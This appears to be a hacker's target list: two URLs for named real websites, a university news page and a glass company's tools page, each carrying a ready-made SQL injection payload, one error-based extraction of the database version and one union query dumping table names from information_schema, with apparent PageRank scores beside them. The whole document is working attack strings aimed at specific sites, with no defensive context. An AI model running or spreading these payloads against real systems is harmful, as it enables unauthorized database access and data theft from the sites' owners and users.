http://www.upesh.edu.pk/news.php?news_id=-242+or+(select+count(*)from(select+1+union+select+ 2+union+select+3)x+group+by+concat(mid((select+ver sion()),1),floor(rand(0)*2)))--

PR 6

http://www.nortelglass.com/tools.php?id=-2+union+select+1,2,group_concat(0x0b,table_name),4 ,5,6,7,8,9,10,11,12+from+information_schema.tables--

PR 3